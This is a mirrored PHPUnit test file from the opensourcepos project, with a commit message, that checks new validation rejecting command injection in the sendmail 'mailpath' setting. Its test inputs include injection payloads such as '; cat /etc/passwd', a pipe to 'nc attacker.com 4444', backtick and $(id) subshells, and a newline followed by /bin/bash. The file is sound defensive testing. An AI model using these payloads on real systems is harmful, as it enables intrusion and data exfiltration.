mirror of
https://github.com/opensourcepos/opensourcepos.git
synced 2026-04-17 13:31:07 -04:00
Add validation for the mailpath POST parameter to prevent command injection attacks. The path is validated to only allow alphanumeric characters, underscores, dashes, forward slashes, and dots. - Required mailpath when protocol is "sendmail" - Validates format for all non-empty mailpath values - Blocks common injection vectors: ; | & ` $() spaces newlines - Added mailpath_invalid translation to all 43 language files - Simplified validation logic to avoid redundant conditions Files changed: - app/Controllers/Config.php: Add regex validation with protocol check - app/Language/*/Config.php: Add mailpath_invalid error message (43 languages) - tests/Controllers/ConfigTest.php: Unit tests for validation
221 lines
6.4 KiB
PHP
221 lines
6.4 KiB
PHP
<?php
|
|
|
|
namespace Tests\Controllers;
|
|
|
|
use CodeIgniter\Test\CIUnitTestCase;
|
|
use CodeIgniter\Test\DatabaseTestTrait;
|
|
use CodeIgniter\Test\FeatureTestTrait;
|
|
use CodeIgniter\Config\Services;
|
|
|
|
class ConfigTest extends CIUnitTestCase
|
|
{
|
|
use DatabaseTestTrait;
|
|
use FeatureTestTrait;
|
|
|
|
protected $migrate = true;
|
|
protected $migrateOnce = true;
|
|
protected $refresh = false;
|
|
protected $namespace = null;
|
|
|
|
protected function setUp(): void
|
|
{
|
|
parent::setUp();
|
|
}
|
|
|
|
protected function resetSession(): void
|
|
{
|
|
$session = Services::session();
|
|
$session->destroy();
|
|
$session->set('person_id', 1);
|
|
$session->set('menu_group', 'office');
|
|
}
|
|
|
|
// ========== Valid Mailpath Tests ==========
|
|
|
|
public function testValidMailpath_AcceptsStandardPath(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'sendmail',
|
|
'mailpath' => '/usr/sbin/sendmail'
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertTrue($result['success']);
|
|
}
|
|
|
|
public function testValidMailpath_AcceptsPathWithDots(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'sendmail',
|
|
'mailpath' => '/usr/local/bin/sendmail.local'
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertTrue($result['success']);
|
|
}
|
|
|
|
public function testValidMailpath_AcceptsEmptyStringForNonSendmailProtocol(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'mail',
|
|
'mailpath' => ''
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertTrue($result['success']);
|
|
}
|
|
|
|
public function testSendmailProtocol_RequiresMailpath(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'sendmail',
|
|
'mailpath' => ''
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
$this->assertStringContainsString('invalid', strtolower($result['message']));
|
|
}
|
|
|
|
public function testNonSendmailProtocol_RejectsMaliciousMailpath(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'smtp',
|
|
'mailpath' => '/usr/sbin/sendmail; cat /etc/passwd'
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
$this->assertStringContainsString('invalid', strtolower($result['message']));
|
|
}
|
|
|
|
// ========== Command Injection Prevention Tests ==========
|
|
|
|
public function testMailpath_RejectsCommandInjection_Semicolon(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'sendmail',
|
|
'mailpath' => '/usr/sbin/sendmail; cat /etc/passwd'
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
$this->assertStringContainsString('invalid', strtolower($result['message']));
|
|
}
|
|
|
|
public function testMailpath_RejectsCommandInjection_Pipe(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'sendmail',
|
|
'mailpath' => '/usr/sbin/sendmail | nc attacker.com 4444'
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
}
|
|
|
|
public function testMailpath_RejectsCommandInjection_And(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'sendmail',
|
|
'mailpath' => '/usr/sbin/sendmail && whoami'
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
}
|
|
|
|
public function testMailpath_RejectsCommandInjection_Backtick(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'sendmail',
|
|
'mailpath' => '/usr/sbin/`whoami`'
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
}
|
|
|
|
public function testMailpath_RejectsCommandInjection_Subshell(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'sendmail',
|
|
'mailpath' => '/usr/sbin/sendmail$(id)'
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
}
|
|
|
|
public function testMailpath_RejectsCommandInjection_SpaceInPath(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'sendmail',
|
|
'mailpath' => '/usr/sbin/sendmail -t -i'
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
}
|
|
|
|
public function testMailpath_RejectsCommandInjection_Newline(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'sendmail',
|
|
'mailpath' => "/usr/sbin/sendmail\n/bin/bash"
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
}
|
|
|
|
public function testMailpath_RejectsCommandInjection_DollarSign(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'sendmail',
|
|
'mailpath' => '/usr/sbin/$SENDMAIL'
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
}
|
|
} |